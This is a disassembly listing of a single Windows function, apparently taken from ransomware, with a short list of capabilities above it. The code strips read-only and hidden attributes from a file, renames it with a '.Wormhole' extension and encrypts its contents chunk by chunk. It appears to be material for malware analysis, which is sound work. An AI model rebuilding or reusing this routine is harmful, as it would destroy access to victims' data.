Function at 0x44c900
Capabilities:
Check if file exists
Get file attributes
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5a8196
mov eax, dword fs:[0]
push eax
sub esp, 0x1cc
mov eax, dword [0x635f14]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c4], edx
mov ebx, ecx
mov esi, dword [ebp + 8]
mov ecx, esi
mov dword [ebp - 0x1c0], esi
mov dword [ebp - 4], 0
call fcn.0044c690
test al, al
jne 0x44c98d
cmp dword [esi + 0x14], 0x10
jb 0x44c95e
mov eax, dword [esi]
jmp 0x44c960
mov eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x44c9ab
mov edx, str.Error_getting_file_attributes:
mov ecx, 0x6381f8
call fcn.00456e00
mov edx, esi
mov ecx, eax
call fcn.00457160
push eax
call fcn.004570b0
add esp, 4
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00581392
mov esp, ebp
pop ebp
ret
test al, 3
je 0x44c9d1
cmp dword [esi + 0x14], 0x10
jb 0x44c9b9
mov ecx, dword [esi]
jmp 0x44c9bb
mov ecx, esi
and eax, 0xfffffffc
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x44c9d1
mov edx, str.Error_setting_file_attributes_to_remove_readonly_and_hidden:
jmp 0x44c971
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0
push 0x1000
lea ecx, [ebp - 0x38]
movq qword [ebp - 0x38], xmm0
call fcn.00451c50
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x20]
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
push 0x1020
movq qword [ebp - 0x20], xmm0
call fcn.00451c50
push str..Wormhole
mov edx, esi
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x54]
call fcn.00457420
add esp, 4
mov byte [ebp - 4], 3
lea eax, [ebp - 0x54]
cmp dword [ebp - 0x40], 0x10
cmovae eax, dword [ebp - 0x54]
cmp dword [esi + 0x14], 0x10
jb 0x44ca3c
mov ecx, dword [esi]
jmp 0x44ca3e
mov ecx, esi
push eax
push ecx
call fcn.0058a8e0
add esp, 8
test eax, eax
je 0x44cb28
mov edx, str.Error_renaming_file.
mov ecx, 0x6381f8
call fcn.00456e00
mov edx, esi
mov ecx, eax
call fcn.00457160
push eax
call fcn.004570b0
add esp, 4
lea ecx, [ebp - 0x54]
call fcn.00452050
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x44cad8
mov eax, dword [ebp - 0x18]
sub eax, ecx
cmp eax, 0x1000
jb 0x44caba
test cl, 0x1f
je 0x44ca96
call fcn.0058a785
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x44caa2
call fcn.0058a785
sub ecx, eax
cmp ecx, 4
jae 0x44caae
call fcn.0058a785
cmp ecx, 0x23
jbe 0x44cab8
call fcn.0058a785
mov ecx, eax
push ecx
call fcn.00581966
add esp, 4
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov ecx, dword [ebp - 0x38]
test ecx, ecx
je 0x44c98d
mov eax, dword [ebp - 0x30]
sub eax, ecx
cmp eax, 0x1000
jb 0x44cb1d
test cl, 0x1f
je 0x44caf9
call fcn.0058a785
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x44cb05
call fcn.0058a785
sub ecx, eax
cmp ecx, 4
jae 0x44cb11
call fcn.0058a785
cmp ecx, 0x23
jbe 0x44cb1b
call fcn.0058a785
mov ecx, eax
push ecx
call fcn.00581966
jmp 0x44c98a
push 0xb8
lea eax, [ebp - 0x10c]
push 0
push eax
call fcn.00584440
add esp, 4
lea eax, [ebp - 0x54]
lea ecx, [ebp - 0x10c]
push 0x21
push eax
call fcn.004523a0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x2c]
mov eax, dword [ebp - 0x10c]
xorps xmm0, xmm0
movq qword [ebp - 0x2c], xmm0
mov dword [ebp - 0x24], 0
mov word [ebp - 0x1c8], 1
mov eax, dword [eax + 4]
push dword [ebp - 0x1c8]
push 0
mov eax, dword [ebp + eax - 0xd4]
test eax, eax
sete byte [ebp - 0x1d4]
push dword [ebp - 0x1d4]
push eax
call fcn.00457500
lea ecx, [ebp - 0xfc]
mov byte [ebp - 4], 5
call fcn.004554f0
test eax, eax
jne 0x44cbd9
mov eax, dword [ebp - 0x10c]
lea ecx, [ebp - 0x10c]
push 0
mov eax, dword [eax + 4]
add ecx, eax
mov edx, dword [ecx + 0xc]
or edx, 2
mov eax, edx
or eax, 4
cmp dword [ecx + 0x38], 0
cmovne eax, edx
push eax
call fcn.0044c290
push 0xb0
lea eax, [ebp - 0x1bc]
push 0
push eax
call fcn.00584440
add esp, 4
lea eax, [ebp - 0x54]
lea ecx, [ebp - 0x1bc]
push 0x32
push eax
call fcn.00452290
mov byte [ebp - 4], 6
cmp dword [ebp - 0x16c], 0
jne 0x44ccac
mov edx, str.Error_opening_file.
mov ecx, 0x6381f8
call fcn.00456e00
mov edx, esi
mov ecx, eax
call fcn.00457160
push eax
call fcn.004570b0
add esp, 4
lea ecx, [ebp - 0x1bc]
call fcn.0044cfe0
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x44cc9c
mov eax, dword [ebp - 0x24]
sub eax, ecx
cmp eax, 0x1000
jb 0x44cc7e
test cl, 0x1f
je 0x44cc5a
call fcn.0058a785
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x44cc66
call fcn.0058a785
sub ecx, eax
cmp ecx, 4
jae 0x44cc72
call fcn.0058a785
cmp ecx, 0x23
jbe 0x44cc7c
call fcn.0058a785
mov ecx, eax
push ecx
call fcn.00581966
add esp, 4
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x10c]
call fcn.0044c870
jmp 0x44ca71
call fcn.00458fd0
mov edi, eax
test edi, edi
jne 0x44cd1a
mov edx, str.Error_creating_cipher_context.
mov ecx, 0x6381f8
call fcn.00456e00
push eax
call fcn.004570b0
add esp, 4
lea ecx, [ebp - 0x1bc]
call fcn.0044cfe0
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x44cc9c
mov eax, dword [ebp - 0x24]
sub eax, ecx
cmp eax, 0x1000
jb 0x44cc7e
test cl, 0x1f
jne 0x44ca91
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x44ca91
sub ecx, eax
cmp ecx, 4
jb 0x44ca91
cmp ecx, 0x23
jbe 0x44cc7c
jmp 0x44ca91
mov eax, dword [ebp - 0x1c4]
cmp dword [eax + 0x14], 0x10
jb 0x44cd28
mov eax, dword [eax]
cmp dword [ebx + 0x14], 0x10
jb 0x44cd30
mov ebx, dword [ebx]
push eax
push ebx
push 0
call fcn.004659c0
push eax
push edi
call fcn.00459f20
add esp, 0x14
test eax, eax
jne 0x44cd6a
mov edx, str.Error_initializing_encryption.
mov ecx, 0x6381f8
call fcn.00456e00
push eax
call fcn.004570b0
add esp, 4
push edi
call fcn.00458f70
jmp 0x44cccc
xor esi, esi
nop dword [eax]
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x2c]
sub ecx, edx
cmp esi, ecx
jae 0x44cde8
mov eax, ecx
sub eax, esi
cmp eax, 0x1000
jbe 0x44cd8e
mov ecx, 0x1000
jmp 0x44cd90
sub ecx, esi
push ecx
lea eax, [edx + esi]
push eax
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x20]
push edi
call fcn.00459f80
add esp, 0x14
test eax, eax
jne 0x44cdcc
mov edx, str.Error_encrypting_file.
mov ecx, 0x6381f8
call fcn.00456e00
push eax
call fcn.004570b0
add esp, 4
push edi
call fcn.00458f70
jmp 0x44cccc
mov eax, dword [ebp - 0x3c]
lea ecx, [ebp - 0x1bc]
cdq
push edx
push eax
push dword [ebp - 0x20]
call fcn.00452e60
add esi, 0x1000
jmp 0x44cd70
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x20]
push edi
call fcn.00459cc0
add esp, 0xc
test eax, eax
jne 0x44ce1f
mov edx, str.Error_finalizing_encryption.
mov ecx, 0x6381f8
call fcn.00456e00
push eax
call fcn.004570b0
add esp, 4
push edi
call fcn.00458f70
jmp 0x44cccc
mov eax, dword [ebp - 0x3c]
lea ecx, [ebp - 0x1bc]
cdq
push edx
push eax
push dword [ebp - 0x20]
call fcn.00452e60
push edi
call fcn.00458f70
add esp, 4
lea ecx, [ebp - 0x1bc]
call fcn.00452250
lea ecx, [ebp - 0x1bc]
call fcn.0044cfe0
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x44cead
mov eax, dword [ebp - 0x24]
sub eax, ecx
cmp eax, 0x1000
jb 0x44ce8f
test cl, 0x1f
jne 0x44ca91
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x44ca91
sub ecx, eax
cmp ecx, 4
jb 0x44ca91
cmp ecx, 0x23
ja 0x44ca91
mov ecx, eax
push ecx
call fcn.00581966
add esp, 4
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x10c]
call fcn.0044c870
lea ecx, [ebp - 0x54]
call fcn.00452050
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x44cf1b
mov eax, dword [ebp - 0x18]
sub eax, ecx
cmp eax, 0x1000
jb 0x44cefd
test cl, 0x1f
jne 0x44ca91
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x44ca91
sub ecx, eax
cmp ecx, 4
jb 0x44ca91
cmp ecx, 0x23
ja 0x44ca91
mov ecx, eax
push ecx
call fcn.00581966
add esp, 4
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov ecx, dword [ebp - 0x38]
test ecx, ecx
je 0x44cf61
mov eax, dword [ebp - 0x30]
sub eax, ecx
cmp eax, 0x1000
jb 0x44cf58
test cl, 0x1f
jne 0x44ca91
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x44ca91
sub ecx, eax
cmp ecx, 4
jb 0x44ca91
cmp ecx, 0x23
ja 0x44ca91
mov ecx, eax
push ecx
call fcn.00581966
add esp, 4
mov al, 1
jmp 0x44c98f